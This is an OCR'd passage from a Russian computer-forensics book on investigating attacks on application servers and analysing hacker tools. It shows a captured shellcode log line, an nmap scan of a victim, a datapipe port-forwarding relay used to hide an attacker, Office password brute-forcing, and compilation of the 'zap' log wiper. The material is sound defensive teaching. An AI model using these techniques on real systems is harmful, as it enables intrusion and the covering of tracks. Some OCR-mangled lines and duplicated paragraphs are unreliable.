Apr 22 19:55:01 perro in.ftpd[17092]: connect from 192.168.1.1
Затем в журнале messages перехватывается атака переполнения буфера
атакующего. Отметка времени/даты, адрес источника и порт атаки присут-
ствуют в файле журнала. Отметим подозрительную строку bin sh в конце:
Apr 22 19:56:06 perro ftpd[17013]: ANONYMOUS FTP LOGIN FROM
192.168.1.1 (192.168.1.1],
1A1U1EoF1iriblC%0blA°?Hek U1Q~~A~F DH
C"B1EpE1A "~H*~LIpEuo1A"F~I ~~H*=Ip N*0pE~D1A~F"G%v"H%F"L%o N
"H V"L*"KI1A1U*AIe yyy0bin0sh1..11
Журналы сетевых устройств должны подтвердить эту деятельность. Те-
перь имеется начальная точка для дальнейшего исследования. Необходимо
проверить все системы, связанные с этим инцидентом, в поисках деятель-
ности во временных рамках 22 апреля, а также все другие соединения или
журналы деятельности, связанные с адресом источника 192.168.1.1.

398
Глава 15
Исследование неправильного использования
хранилища файлов
Как и для серверов DNS, хост FTP не обязательно должен компрометирова-
ться напрямую, чтобы создать серьезный инцидент. Серверы FTP позволя-
ют пользователям размещать и получать копии файлов. Природа и содер-
жимое этих файлов являются критически важными. Если в компьютере
имеются неверные типы файлов, размещенные там неавторизованными
пользователями, то могут возникать серьезные инциденты.
Одной из ошибок даже относительно безопасных сайтов является доступ-
ный всем для чтения и записи каталог анонимного FTP. Эти каталоги стано-
вятся репозиториями данных, которые никто не хочет хранить в своей соб-
ственной системе. Неправильно используемые серверы FTP обычно
называют сайтами "торговли" в связи с тем фактом, что они содержат нелегаль-
ные копии программного обеспечения. Если неавторизованные лица исполь-
зуют анонимный сервер FTP для торговли такими материалами, агенты пра-
воохранительных органов могут арестовать Web или FTP сервер компании
и держать его в течение нескольких дней или еще большего периода време-
ни в зависимости от того, как обрабатывается этот случай.
Проверяйте регулярно свою систему на наличие каталогов, доступных
всем для чтения и записи. Если требуется иметь каталоги, доступные всем
для записи, не делайте их доступными для чтения или требуйте аутентифи-
кацию, отличную от "anonymous". Регулярно проверяйте файлы журналов,
чтобы знать, какие типы трафика и адреса источников имеются в системе.
Для распространенного сервера Windows IIS FTP файлы журналов выгля-
дят следующим образом:
#Software: Microsoft Internet Information Services 5.0
#Version: 1.0
#Date: 2001 04 23 00:58:25
#Fields: time c ip cs method cs uri stem sc status
00:58:25 10.1.1.101 [7]USER willc 331
00:58:27 10.1.1.101 [7]PASS 230
00:58:46 10.1.1.101 [7]sent /fpipe.exe 226
Если замечены аномалии, такие как необычные пересылки файлов или
адреса источников, или пики активности, тщательно исследуйте журналы.
Что может произойти
Во время своей военной карьеры мы часто встречали анонимные серве-
ры FTP (принадлежащие военным!), которые использовались неавторизо-
ванными лицами для хранения пиратского программного обеспечения. Мы
узнали о приемах большинства этих программных пиратов, научившись ис-
кать скрытые каталоги. Один особенно хитроумный пират использовал
прием, о котором мы пишем далее. Для обычного наблюдателя этот ката-
лог представлялся пустым:
ftp> Is
200 PORT command successful.

Исследование серверов приложений
399
drwxr xr x
drwx
drwxr xr x
drwxr xr x
drwxr xr x
5
14222
root
chris
root
root
root
root
chris
root
root
root
150 Opening ASCII mode data connection for /bin/Is.
total 0
226 Transfer complete.
Однако при дальнейшем исследовании можно увидеть, что этот каталог
в действительности содержит больше:
ftp> Is  al
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 5
1024 Apr 22 21:22
1024 Apr 22 21:18
1024 Apr 22 21:22
1024 Apr 22 21:21
1024 Apr 22 21:21
226 Transfer complete.
Где искать доказательства
Конечно каталоги "." и ".." обозначают текущий каталог и родительский ка-
талог соответственно. Но чем являются остальные каталоги? Если попро-
бовать обратиться ко второму каталогу"..", вы попадете в родительский ка-
талог. Переименование каталогов с помощью скрытых символов является
приемом хакеров, который может обмануть сначала большинство систем-
ных администраторов. Можно использовать команду cat со специальными
ключами t, v, и е для просмотра в точности того, что происходит:
ftp> Is  al "| cat  tve"
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 5$
1024 Apr 22 21:
1024 Apr 22 21:
1024 Apr 22 21:
1024 Apr 22 21:
1024 Apr 22 21:
226 Transfer complete.
drwxr xr x
drwx
drwxr xr x
drwxr xr x
drwxr xr x
5
14222
root
chris
root
root
root
root
chris
root
root
root
T$
Параметры команды cat заставляют ее выводить непечатаемые симво-
лы, показывать символы табуляции и помещать $ в конце каждой строки.
Поэтому теперь можно видеть, что третий каталог называется в действите-
льности ЛТ, а последними двумя каталогами являются ... и ... соответствен
но. Чтобы войти в последний каталог, поместите просто всю строку, вклю
чая конечный пробел, между двойными кавычками. Вход в каталог,
который имеет в названии управляющий символ, является более сложным.
Чтобы ввести управляющие символы в командную строку, надо нажать
CTRL V перед символом, который надо ввести, в данном случае T. Не исполь
зуйте символ ^, он не будет работать.
ftp cd .."Т
250 CWI) command sin i nssl ul

400
Глава 15
ftp> Is
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/Is.
total 1
 rw r--- r--- 1 root root
471 Apr 22 21:26 pirated_warez
226 Transfer complete.
ИССЛЕДОВАНИЕ ИНЦИДЕНТОВ СО СЛУЖБОЙ RPC
Службы удаленного вызова процедур (RPC) используются во многих попу-
лярных операционных системах. Базовая идея служб RPC состоит в том,
чтобы разрешить компьютерам выполнять программы на других компью-
терах, что особенно полезно для распределенных вычислений или кли-
ент серверных приложений. К сожалению, многие службы RPC уязвимы
для удаленного злоупотребления. Усложняя проблему, многие популярные
операционные системы поставляются с установленными и выполняющи-
мися по умолчанию уязвимыми службами. Более того, найти доказательст-
ва атаки на службу RPC очень сложно. Сетевой мониторинг и системы
IDS --- наилучший выбор для сбора доказательств.
Службами RPC, которые имели удаленные проблемы, являются служба
менеджера календаря (cmsd), ToolTalk Database (ttdb), преобразователь
SNMP в DMI (snmpXdmid), statd и rpc.ypupdated. Сканеры портов могут
определить, что выполняются службы RPC, но при использовании пара-
метров по умолчанию некоторых программ сканирования портов можно
пропустить службы RPC, осуществляющиеся на портах со старшими номе-
рами. Например, служба ToolTalk Database, выполняющаяся на порте
32775 на Web сервере Solaris 2.6, выглядит следующим образом:
[root@attacker]# nmap  0  sR victim  p 32773 32775
Starting nmap V. 2.52 by fyodor@insecure.org ( www.insecure.org/nmap/ )
Interesting ports on (victim):
,
(The 1 port scanned but not shown below is in state: closed)
Port
State Service (RPC)
32773/tcp open
sometimes rpc9 (cachefsd V1)
32774/tcp open
sometimes rpc11 (status V1)
32775/tcp open
sometimes rpc13 (ttdservers V1)
TCP Sequence Prediction: Class=random positive increments
Difficulty=58795 (Worthy challenge)
Remote OS guesses: Solaris 2.6 2.7
Атакующий может получить административный доступ к компьютеру,
используя общедоступный код для незаконного использования этой службы.
К сожалению, в используемых по умолчанию конфигурациях некоторых
систем, таких как Solaris, доказательства о такой атаке не появляются в
файлах журналов. Фактически, без сетевого мониторинга или дополните-
льного программного обеспечения IDS на хосте, обнаружение доказатель-
ства такой атаки маловероятно. При выполнении команды netstat  а на сис-
теме жертве, когда происходит атака, можно обнаружить подозрительное
соединение следующего вида:

Исследование серверов приложений
401
attacker.32797 victim.6000 32120 0 8760 0 ESTABLISHED
Сообразительный наблюдатель заметит, что это соединение даже не от-
носится к ttdb; это сеанс xterm от жертвы к атакующему. В этом примере
код незаконного использования для ttdb был использован атакующим для
получения доступа через xterm.
Сравнение прошлого и текущего состояния
Одной из ошибок, которую делают исследователи во время реагирова-
ния на инцидент, является предположение, что текущее и прошлое со-
стояние --- это одно и то же. Фактически, текущее состояние системы мо-
жет не иметь ничего общего с прошлым состоянием системы. При
попытке определить, как был скомпрометирован компьютер, исследова-
тель будет обычно смотреть, какие выполняются службы на системе жерт-
ве, с помощью сканирования портов или команды netstat. Если не выполня-
ется никаких подозрительных служб, исследователь может предположить,
что никакие подозрительные службы не были вовлечены в проникновение.
Мы видели несколько случаев, где атакующие, проникнувшие в хост,
исправляли затем уязвимость, которая предоставила им доступ. Когда
атакующие получают административный доступ к компьютеру, они уста-
навливают более "разграничительные" черные ходы, которые позволя-
ют им возвращаться по желанию. Они отключают "глобальную" уязви-
мость, такую как ttdb, которая позволит любому хакеру получить доступ
к системе. Проблема в том, что хотя уязвимая служба, такая как ttdb, не
выполняется, когда происходит исследование, служба все еще может
быть исходной причиной инцидента.
ИСПОЛЬЗОВАНИЕ ЗАПИСЕЙ ПРОГРАММ СЕТЕВОГО ОБЩЕНИЯ
ДЛЯ ИССЛЕДОВАНИЯ ИНЦИДЕНТОВ
ICQ является одной из множества популярных программ сетевого общения
("chat" --- чат), которые позволяют пользователям общаться в реальном вре-
мени. Программа ICQ состоит из сервера и клиента. Пользователи имеют
возможность беседовать и передавать файлы. Другими аналогичными про-
граммами являются AOL Instant Messenger, MSN Messenger Service, Internet
Relay Chat (IRC) и Yahoo Messenger. Большинство сообщений таких про-
грамм передается обычным текстом, так как они не считаются приложениями
с высокой степенью безопасности.
ICQ и аналогичные программы полезны для расследования инцидентов.
Электронное общение часто сохраняется на длительный период времени, и
такие сообщения может найти и использовать настойчивый исследователь.
Были случаи, когда атакующие устанавливали серверы IRC на скомпромети
рованных системах и затем продолжали общаться с другими атакующими.
Журналы и записи, сохраняемые ICQ и другими программами общении,
могут оказаться особенно полезными при расследовании инцидентов).

402
Глава 15
включающих сотрудников. Будет ли это журнал ICQ или почтовый сервер
(вспомните Билла Гейтса и антимонопольное судебное разбирательство)
исследователь должен испробовать все возможности, особенно при рас-
смотрении инцидентов, которые включают инсайдеров.
НАГЛЯДНЫЙ ПРИМЕР
Компания EFront Media, Inc. использует ICQ для важной корпоративной
коммуникации. Фактически даже председатель правления был активным
пользователем. Вероятно, финансовые проблемы компании привели к
некоторой сомнительной деловой тактике. Неидентифицированный
бывший сотрудник послал журналы ICQ на Web сайт в Интернете. Эти
журналы якобы содержали доказательства, что председатель правления
и другие руководители EFront обсуждали планы приостановки платежей
и обмана деловых партнеров.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Случай ICQ EFront: http://www.thedukeofurl.org/reviews/misc/efront/
Дополнительно о случае ICQ Efront:
http://news.cnet.com/news/0 1005 200 5148422.html
ОБРАБ0ТКА ИНЦИДЕНТОВ, ВКЛЮЧАЮЩИХ MICROSOFT OFFICE
Microsoft Office, широко используемый пакет для офисной работы, может
быть частью реагирования на инцидент. Он не является сервером прило-
жений и не вовлекается в прямые атаки; однако многие инциденты включа-
ют документы Word, Excel или другие Office. Исследователи должны быть
готовы к обработке инцидентов, включающих подобный пакет приложений.
Поиск улик в документах Office
Одним из "свойств" пакета Office является хранение в документе дополните-
льной информации. Документы Office 97 в действительности хранят в доку-
менте GUID (глобально уникальный идентификатор), содержащем адрес
MAC компьютера, на котором был создан документ. Так как адреса MAC
уникальны и зависят от оборудования, они могут оказаться ценными уликами.
Предположим, что основной деловой конкурент только что выпустил из-
делие подозрительно похожее на изделие, на которое ваша компания затра-
тила месяцы работы. Один из ваших сотрудников недавно покинул компа-
нию и работает теперь на конкурента. В ходе судебного иска о нарушении
авторских прав вы смогли получить документы и записи от конкурента. Если
можно будет сопоставить адрес MAC документов, созданных якобы конку-
рентом, с настольной системой, которую использовал бывший сотрудник
в вашей компании, то судебный иск возымеет большие шансы на успех.

Исследование серверов приложений
/.0 1
Чтобы проверить МАС адрес в документе, используйте шестнадцатерич
ный редактор или Notepad для просмотра этого документа, и ищите строку
"GUID". За ней следует МАС адрес (см. рис. 15.1). МАС адрес 00104BEDD708
отличается от кода поставщика (первые шесть символов), как показано для
платы PCI 3COM ЗС905 ТХ. Последние шесть символов зависят от адреса,
который (теоретически) соответствует единственной карте.
Рис. 15.1. Поиск GUID документа предоставляет МАС адрес компьютера,
который создал документ
Другими свойствами, полезными при исследовании документа, являются
его свойства. Выбирая документ Word, Excel или PowerPoint и затем File |
Properties, можно получить доступ к диалоговому окну Properties документа.
Это диалоговое окно содержит множество потенциально полезной инфор-
мации, такой как автор, время, затраченное на редактирование документа,
отметки времени/даты и т.д.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Как сопоставить тип оборудования с адресом MAC: http://www.cavebear.com/Cave
Bear/Ethernet/vendor.html
Дешифровка документов Office
Многие типы исследований включают злонамеренных сотрудников или
других инсайдеров. Эти типы исследований часто связаны с информацией,
которую кто то послал или не послал другой стороне. Иногда исследова-
тель обнаруживает, что данная информация зашифрована. Существует не-
сколько полезных утилит для ее извлечения.
Двумя источниками хороших утилит восстановления паролей являются
Elcom Ltd. и Access Data Corporation. Эти компании предлагают утилиты, ко
торые могут восстановить пароли для документов Office и других типов при
кладных программ. Подобные утилиты используют расшифровку или метод
проб и ошибок в зависимости от шифровании, используемого приложением.
На рис. 15.2 показан пример программы Advanced Office 2000 Password
Recovery Professional, выполняющей атаку грубой силы на файл Office 2000

404
Глава 15
Рис. 15.2. Утилита Advanced Office 2000 Password Recovery Professional предлагает
несколько вариантов для восстановления паролей для документов Office
с именем technology_secrets.doc. Можно определить минимальную и макси-
мальную длину пароля, а также другие параметры для ограничения или рас-
ширения диапазона значений пароля.
На рис. 15.3 показаны результаты атаки грубой силы. Утилита восста-
новления пароля дает статистику о поиске пароля, который она проводит,
пароль и шестнадцатеричную (Unicode) версию пароля.
Рис. 15.3. Результаты восстановления пароля

Исследование серверов приложений
405
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Программа восстановления пароля Elcom Ltd.: http://www.elcomsoft.com
Программа восстановления пароля AccessData Corp.: http://www.accessdata.com
ОПРЕДЕЛЕНИЕ ИСТОЧНИКА АТАК НА ПРИЛОЖЕНИЯ
Атаки на приложения обычно включают доступ удаленных атакующих к
службам TCP/IP. IP адрес источника атакующего становится ключевым па-
раметром исследования инцидента.
Журналы IDS и другие файлы журналов могут записать адрес источника
атаки. Однако является ли записанный адрес источника реальным источни-
ком атаки? Во многих случаях ответом будет "нет". В главе 14 рассматривает-
ся использование прокси серверов для маскировки реального адреса источ-
ника атак. Другим способом, часто используемым атакующими, является
переадресация портов.
Переадресация портов аналогична по концепции прокси в том смысле,
что промежуточная система используется для "сокрытия" атаки. Атакующий
соединяется с промежуточной системой, которая затем объединяется с сис-
темой жертвой. Атакующие могут использовать обычные утилиты переадре-
сации портов, такие как fpipe или datapipe. Утилита переадресации портов
слушает на любом порте и прозрачно пересылает трафик на любой IP адрес
места назначения и порт. IP адрес, который записывает система жертва, яв-
ляется адресом промежуточной системы, а не атакующего. Переадресация
портов не требует административного доступа к промежуточной системе.
Переадресация портов возможна практически с помощью любой операци-
онной системы. К сожалению, очень трудно определить реальный источник
атаки такого типа.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
fpipe: http://www.foundstone.com/rdLabs/tools.php
datapipe: http://packetstorm.securify.eom/Exploit_Code_Archive/datapipe.c
Что может произойти
Атакующий надеется получить доступ к системе жертве, которая предлагает
только службу telnet. Так как атакующий знает, что эта служба обычно запи
сывается в журнал, атакующий будет использовать промежуточную систему
для соединения с сервером telnet. Такая промежуточная система может быть
ранее скомпрометированной системой, машиной в публичной библиотеке
или учетной записью оболочки, полученной с помощью анонимной сетевой
покупки. Атакующий использует утилиту переадресации портов datapipe,
организуя переадресацию портов на промежуточной машине так:
[root@interitit:i] lai у |$ dal up I p<>
Usago: <Jai apipo
l
<>< alpui i i etnotepoi i remotehoel
[ rOOUOinlorilUXjlHI
l|ll|N Hl't '.! vicl nil

406
Глава 15
Промежуточная система слушает теперь на порте 34123 и перенаправля-
ет весь получаемый на 34123 трафик в порт 23 на системе жертве. Затем ата-
кующий соединяется с промежуточной системой, чтобы зарегистрироваться
на системе жертве:
[root@attacker]# telnet intermediary 34123
Trying intermediary ...
Connected to intermediary.
Escape character is '"]'.
Red Hat Linux release 6.2 (Zoot)
Kernel 2.2.14 5.0 on an i686
login: oracle
Password:
Last login: Sun Apr 29 20:10:53 from 10.0.0.13
Вход в систему был успешным --- атакующий теперь зарегистрирован в
системе жертве, а не в промежуточной системе. Однако обратите внимание,
что показывает файл журнала жертвы:
May 6 18:41:08 victim login: LOGIN ON 1 BY oracle FROM intermediary
Где искать доказательства
Если бы вы смогли ввести команду netstat на промежуточной системе 6 мая
в 18:41:08, то увидели бы адрес источника компьютера, который соединил-
ся с промежуточной системой. Альтернативно журнал сетевой IDS или мар-
шрутизатора в промежуточной сети может показать адрес источника сое-
динения с промежуточной системой. Однако может быть целая цепочка
промежуточных компьютеров. Мы встречали случаи, где атакующие соеди-
няли в цепочку несколько промежуточных систем на различных континен-
тах, делая перспективы реального определения истинного источника ата-
ки крайне маловероятным.
ВОССТАНОВЛЕНИЕ СКОМПРОМЕТИРОВАННЫХ
СЕРВЕРОВ ПРИЛОЖЕНИЙ
Выбор методов восстановления будет зависеть от типа инцидента. В любом
инциденте, где атакующий получает доступ к системе на административ-
ном уровне и загружает неизвестный код, единственным хорошим выбо-
ром является полная перестройка системы. Однако некоторые инциденты
не включают полную компрометацию. В этих случаях можно выполнить об-
новление приложения самой последней, самой безопасной версии.
ВНИМАНИЕ Хороший обзор распространенных атак на приложения представлен
в книге Hacking Exposed, Second Edition, by Joel Scambray, et al
(McGraw Hill, 2000).
При установке программного обеспечения проверьте, что оно является
аутентичным. Представьте загрузку из сети программы, которая должна
быть самой последней версией программного обеспечения, только для того,

Исследование серверов приложений
407
чтобы обнаружить потом, что она содержит троянскую программу, которая
позволяет атакующим проникнуть на сайт. Именно это произошло с пользо-
вателями, которые загрузили из сети TCP Wrappers сразу после 21 января
1999 г. Дистрибутив TCP Wrappers по крайней мере на одном публичном
сервере распространения был скомпрометирован и содержал троянскую
программу, которая предоставляла соединение с портом источника 421 для
доступа к "защищенным" сайтам.
Как убедиться, что загруженное из сети программное обеспечение явля-
ется законным? Алгоритм MD5 (см. главу 2) дает решение. Вычислите крип-
тографическую контрольную сумму для загруженного из сети файла и срав-
ните ее с опубликованными версиями контрольной суммы загружаемого
файла. Практически все сайты, которые распространяют широко использу-
емое программное обеспечение, указывают контрольные суммы для своих
дистрибутивов. Конечно, если файл скомпрометирован, атакующий может
скомпрометировать также опубликованную контрольную сумму. Поэтому
лучше использовать контрольные суммы с нескольких сайтов дистрибуции.
Ниже показана правильная контрольная сумма TCP Wrappers версии 7.6
(tcp_wrappers_7.6.tar.gz) и контрольная сумма версии, содержащей троян-
скую программу.
Правильная контрольная сумма MD5 =
e6fa25f7l226d090f34de3f6bl22fb5a
Контрольная сумма MD5 троянской версии =
af7f76fb9960a95al341cl777b48fldf
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Рекомендации CERT TCP Wrappers: http://www.cert.org/advisories/CA 1999 01.htmL
ИТОГИ
Серверы приложений часто являются жертвами удаленной компромета-
ции. Исследование служб, предоставляемых серверами приложений, требу-
ет знания работы каждой службы и поддерживаемых журналов. Полезно
также знакомство с известными уязвимостями каждой службы. Как было
показано в этой главе, доказательства, которые можно собрать для серпе
ров приложений, широко варьируются в зависимости от приложения. Вы
познакомились с подходами и методами, используемыми при исследовании
атак на серверы приложений.

ГЛАВА 16
Исследование
инструментов хакера

410
Глава 16
При расследовании компьютерных преступлений, в частности, незакон-
ного проникновения в компьютер, можно встретить зловредные файлы с
неизвестным назначением. Вы знаете, что зловредный файл что то делает,
что требуется атакующему, но вы имеете только двоичный файл. Если пове-
зет, утилиты хакера будут иметь имена файлов, которые предоставят суще-
ственную подсказку о своих функциях. Утилита с именем sniffer или esniff
является скорее всего утилитой сетевого анализатора. Однако более веро-
ятно, что атакующие переименуют свой код в некоторое безобидное сис-
темное имя файла, такое как xterm или d.l. Эти имена дают не очень много
представлений о функциях зловредной программы. Поэтому понадобится
анализировать эти утилиты, чтобы:
Предотвратить аналогичные атаки в будущем
Оценить уровень подготовки атакующего или уровень опасности
Определить объем компрометации
Определить возможные сделанные повреждения
Определить число и тип нарушителей
Подготовиться к успешному допросу на эту тему, если атакующий будет
когда нибудь схвачен
Анализировать инструменты будет значительно проще, если атакующие
оставят после себя исходный код. Но большинство атакующих имеют
что то общее с компанией Microsoft: они скрывают свой исходный код. Без
этого придется продираться сквозь объектный код и прослеживать функ-
циональность программы.
В этой главе будет рассматриваться научный подход для выполнения
анализа утилит. Вы узнаете, как получить исполняемый файл с неизвест-
ной функцией и выполнить на нем операции, чтобы иметь представление
о предполагаемом назначении файла.
КАК КОМПИЛИРУЮТСЯ ФАЙЛЫ
Компилятор, такой как GNU С Compiler, считывает всю программу, напи-
санную на языке высокого уровня, таком как С или Pascal, и преобразует ее
в объектный код. Его часто называют машинным кодом, двоичным кодом или ис-
полняемым кодом. Представьте себе компиляторы как программы, которые
транслируют удобный для восприятия человеком исходный код в машин-
ный язык, понимаемый системой. Машинный язык может непосредственно
выполняться системным процессором.
Существует много способов, которыми атакующие компилируют свой
исходный код. Некоторые методы компиляции упрощают анализ утилит.
Здравый смысл говорит, что чем больше двоичный файл, тем больше ин-
формации могут получить исследователи при выполнении анализа файла.
В следующих нескольких разделах объясним различные способы, которыми
может компилироваться программа. Покажем, как каждый из них влияет на
объем информации, доступной исследователю во время анализa утилит.

Исследование инструментов хакера
411
Статически связанные программы
Статически связанный исполняемый файл содержит весь код, необходи-
мый для успешного выполнения приложения. Он обычно не имеет никаких
зависимостей. Это означает, что программа будет выполняться, не полага-
ясь на определенную версию операционной системы. Некоторые коммер-
ческие приложения, загружаемые из Интернета, могут быть статически
компилированы, чтобы они не зависели ни от какой библиотеки в системе.
Например, StarOfflce компании Corel применяется как статически связан-
ный пакет. Corel распространяет StarOfflce в этом формате, чтобы обойти
различия многих различных дистрибутивов операционной системы Linux.
Далее показан пример команды для статической компиляции програм-
мы в операционной системе Linux с помощью компилятора GNU:
gcc  static zap.с  о zapstatic
В этой командной строке исходный код zap.c был компилирован для со-
здания статически связанного объектного файла с именем zapstatic.
ВНИМАНИЕ Как вы узнали в главе 12, zap является утилитой стирания журналов,
которая стирает записи определенного пользователя из файлов
utmp, wtmp и lastlog.
Динамически связанные программы
Почти все современные операционные системы поддерживают использова-
ние общих библиотек, которые содержат функции и подпрограммы. Компи-
лируя программу для использования общих библиотек, программист может
ссылаться на них где нибудь в памяти, когда программе понадобится исполь-
зовать эти функции и подпрограммы, а не встраивать весь код в само прило-
жение. Это сокращает размер исполняемого файла, сохраняет системную па-
мять и позволяет обновлять общие библиотеки без необходимости изменять
какие либо из исходных программ. Программы, использующие общие биб-
лиотеки, являются динамически скомпилированными. Каждая динамически
скомпилированная программа ссылается на единственную копию общей
библиотеки, расположенной в памяти. На рис. 16.1 показано, как использу-
ют системную память динамически и статически компилированные про-
граммы.
Динамически связанные программы являются стандартным типом. С по-
мощью компилятора GNU следующая командная строка создает динамически
компилированный исполняемый файл:
gcc zap.c  о zapdynamic
Эта командная строка создает динамически связанный исполняемый
файл с именем zapdynamic.

412
Глава 16
Программы, компилированные в режиме отладки
В редких случаях могут встретиться утилиты хакеров, которые были ком-
пилированы в режиме отладки. Отладочная компиляция используется
обычно разработчиками программного обеспечения во время начальных
этапов разработки программы, чтобы помочь им исправить проблемы и
оптимизировать свой код. Когда задан режим отладки, компилятор будет
включать в код много информации о программе и о ее исходном коде.
Следующая командная строка показывает, как будет использоваться ком-
пилятор GNU для компиляции файла исходного кода zap.c с включенным
режимом отладки. Отметим, что это делается добавлением параметра  g в
командную строку.
дсс  д zap.c  о zapdebug
Ниже представлен список каталога, который содержит утилиту zap для
стирания журналов, компилированную динамически, статически и в режи-
ме отладки.
Рис. 16.1. Как статически и динамически связанные процессы используют
системную память

Исследование инструментов хакера
413
Обратите внимание на размер каждой версии. Динамически компили-
рованный zap имеет 13217 байт, а статический zap --- 1587273 байта. Стати-
ческий двоичный файл zap в 120 раз больше, чем динамический двоичный
файл zap. Отладочная версия содержит дополнительные данные, делая его
почти в два раза больше динамически компилированного zap.
Очищенные программы
Чистка (strip) является функцией, которая удаляет все символы из объект-
ного кода, чтобы сделать файл значительно меньше и возможно более оп-
тимальным для выполнения. После очистки динамически компилирован-
ные программы превращаются в исполняемые файлы наименьшего
размера, файлы такого типа являются наиболее трудными для исследовате-
лей с целью анализа при использовании методов извлечения символов и
строк (раздел "Статический анализ утилит хакеров").
Следующая командная строка демонстрирует использование GNU версии
strip и показывает, насколько меньше будет динамически компилированная,
очищенная версия zap по сравнению с другими типами компиляции:
[гооt@соnаn zap]» strip zapdynamic
[root@conan zap]# Is  al
Отметим, что очистка динамически связанной программы zap (zapdy-
namic) сжимает размер файла с первоначального размера 13217 байт (как
показано в предыдущем разделе) до 4400 байт.
Программы, упакованные с помощью UPX
UPX, или Ultimate Packer for executable, становится все более популярным
в качестве эффективной утилиты сжатия для исполняемых файлов. Воз-
можно, другой причиной ее популярности является то, что атакующие мо-
гут использовать ее для сокрытия своих незаконных программ от IDS на
основе сигнатур. UPX сжимает приложения как для Linux, так и для Win32.
Обзор строк в формате ASCII в зловредном коде покажет, использова-
лась ли утилита UPX для сжатия исполнимого файла (см. рис. 16.2). Если
найден исполняемый файл, упакованный с помощью UPX, необходимо рас-
паковать его с помощью UPX, чтобы можно было просмотреть строки, со-
держащиеся в нормальном исполняемом файле. Для этого можно использо-
вать команду strings (см. раздел "Просмотр строк ASCII и UNICODE").
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
UPX:
http://wildsau.idv.ini linz.ac.at/mfx/upx.html

414
Глава 16
Рис. 16.2. Команда strings, показывающая утилиту, которая была упакована
с помощью UPX
СТАТИЧЕСКИЙ АНАЛИЗ УТИЛИТ ХАКЕРОВ
Статический анализ является анализом утилит, выполненным без реального
выполнения зловредного кода. Поскольку вы не намерены осуществлять зло-
вредный код, статический анализ можно выполнять на любой операцион-
ной системе, несмотря на тип объектного кода. Например, можно использо-
вать операционную систему Solaris для выполнения статического анализа
приложения Win32. Обычный подход для статического анализа включает
следующие действия:
1. Определение типа файла, который вы проверяете.
2. Просмотр строк ASCII и UNICODE, содержащихся в двоичном файле.
3. Выполнение поиска в сети для определения, не является ли утилита
бесплатно доступной на сайтах по компьютерной безопасности или
сайтах хакеров. Сравните все найденные в сети утилиты с анализи-
руемой утилитой.
4. Выполните просмотр исходного кода, если вы имеете исходный
код или считаете, что идентифицировали исходный код при поиске
в сети.

Исследование инструментов хакера
415
Определение типа файла
Когда определены исполняемые файлы, которые требуют дополнительно-
го анализа, рассмотрите, как исполняемые файлы были скомпилированы, а
также операционную систему и архитектуру. Существует много различных
типов исполняемых файлов, которые могут встретиться. Перечислим рас-
пространенные типы:
Исполняемые файлы или динамически связанные библиотеки (DLL)
операционной системы Windows 95/98/NT/2000
Linux a.out/elf/script
Solaris a.out/elf/script
DOS 32 битный COFF
DOS 16 битный .corn файл
DOS 16 битный исполняемый файл
Atari ST/TT
К счастью, UNIX и Windows используют одну команду, которая предо-
ставляет необходимую информацию.
Использование команды file в UNIX
Стандартной командой для определения типа файла в системах UNIX являег
ся file. Следующий пример показывает результаты использования команды file
на нескольких различных типах исполняемых программ:
[root@conan zap] file *
rinetd.exe: MS DOS executable (EXE), OS/2 or MS Windows
zap.c:
С program text
zapdebug: ELF 32 bit LSB executable, Intel 80386, version 1,
dynamically linked (uses shared libs), not stripped
zapdynamic: ELF 32 bit LSB executable, Intel 80386, version 1,
dynamically linked (uses shared libs), not stripped
zapstatic: ELF 32 bit LSB executable, Intel 80386, version 1,
statically linked, not stripped
zapstripped: ELF 32 bit LSB executable, Intel 80386, version 1,
dynamically linked (uses shared libs), stripped
Видно, что команда file может аккуратно определить, как были скомпили
рованы файлы и может также идентифицировать операционную систему и
архитектуру на которой будет выполняться файл. Файл /usr/share/maigi(
содержит примерно 5000 различных типов файлов, которые будет расп< >ЗНВ
вать Linux с помощью команды file.
Использование команды exetype в Windows
Эквивалентом команды file и Windows является утилита exetype in N I
шее Kit. Команда exetype распознает значительно меньше ти i файлом,
чем команда file, но они
п. пол< ша Нари» 16.8 показано, как i >:t)
ci си команда exetypi
Видно, что команда file может аккуратно определить, как были скомпили
рованы файлы и может также идентифицировать операционную систему и
архитектуру на которой будет выполняться файл. Файл /utr/share/magiс
содержит примерно 5000 различных типов файлов, которые будет распозна
вать Linux с помощью команды file.
Использование команды exetype в Windows
Эквивалентом команды file в Windows является утилита exetype из NT Reso
urcе Kit. Команда exetype распознает значительно меньше типов файлов,
чем команда file, но она очень полезна. На рис. 16.3 показано, как использу
ется команда exetype.

416
Глава 16
Рис. 16.3. Использование exetype
Просмотр строк ASCII и UNICODE
Базовый статический анализ объектного кода включает проверку строк в
формате ASCII двоичного файла. Идентифицируя ключевые слова, аргу-
менты командной строки и переменные, можно получить некоторое пред-
ставление о назначении этой программы.
Для извлечения строк ASCII используется команда strings. Команда
strings является стандартной на большинстве вариантов UNIX и доступна
для Windows с Web сайта Sysinternals. Команда string имеет следующий син-
таксис:
strings  а имя_файла
Эта командная строка выводит все строки ASCII, содержащиеся в объек-
тном коде, которые имеют в длину четыре символа или больше. Обратите
внимание на параметр  а. Если он отсутствует, вариант UNIX будет скани-
ровать только части двоичного файла.
Для исполняемых файлов на основе Windows важно выполнить также
поиск строк UNICODE. Windows 2000 построен на UNICODE. Многие при-
ложения на основе Windows используют UNICODE. Утилита strings, доступ-
ная в Windows, по умолчанию выполняет поиск UNICODE, когда используется
только с именем файла в качестве аргумента командной строки.
ВНИМАНИЕ UNICODE является набором стандартных символов, который исполь-
зует 2 байтовые значения для представления символа. Так как
UNICODE использует 16 бит для представления одного символа, то
доступно более 65000 символов, что делает UNICODE способным ко-
дировать символы из множества различных языков. В настоящее вре-
мя значения UNICODE определены для арабского языка, китайского
языка, кириллицы, греческого, еврейского языка, японской кана,
корейской хэнгул, английского алфавита, армянского языка и других.
Шестнадцатеричные редакторы являются для исследователя компьюте-
